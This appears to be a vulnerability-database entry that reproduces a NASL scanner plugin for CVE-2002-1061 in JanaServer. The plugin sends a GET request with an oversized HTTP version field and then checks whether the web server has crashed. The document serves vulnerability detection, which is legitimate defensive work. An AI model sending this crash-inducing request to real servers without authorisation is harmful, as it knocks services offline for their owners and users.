6.6 Medium
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.051 Low
EPSS
Percentile
92.8%
It was possible to kill the web server by
sending an invalid GET request with a too long HTTP version field.
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11061");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5319");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5320");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5322");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5324");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2002-1061");
script_name("HTTP Version Number Overflow DoS Vulnerability");
script_category(ACT_DENIAL);
# All the www_too_long_*.nasl scripts were first declared as
# ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them:
# The web server might be killed by those generic tests before the scanner
# has a chance to perform known attacks for which a patch exists
# As ACT_DENIAL are performed one at a time (not in parallel), this reduces
# the risk of false positives.
script_copyright("Copyright (C) 2002 Michel Arboi");
script_family("Gain a shell remotely");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy.");
script_tag(name:"summary", value:"It was possible to kill the web server by
sending an invalid GET request with a too long HTTP version field.");
script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make the web server
crash continually or even execute arbirtray code on the affected system.");
script_tag(name:"affected", value:"JanaServer 2.2.1 and prior, JanaServer 1.46 and prior are known
to be affected. Other versions or products might be affected as well.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port(default:80);
if(http_is_dead(port:port))
exit(0);
soc = http_open_socket(port);
if(!soc)
exit(0);
r = string("GET / HTTP/", crap(2048), ".O\r\n\r\n");
send(socket:soc, data:r);
r = http_recv(socket:soc);
http_close_socket(soc);
if(http_is_dead(port:port)) {
security_message(port:port);
exit(0);
}
exit(99);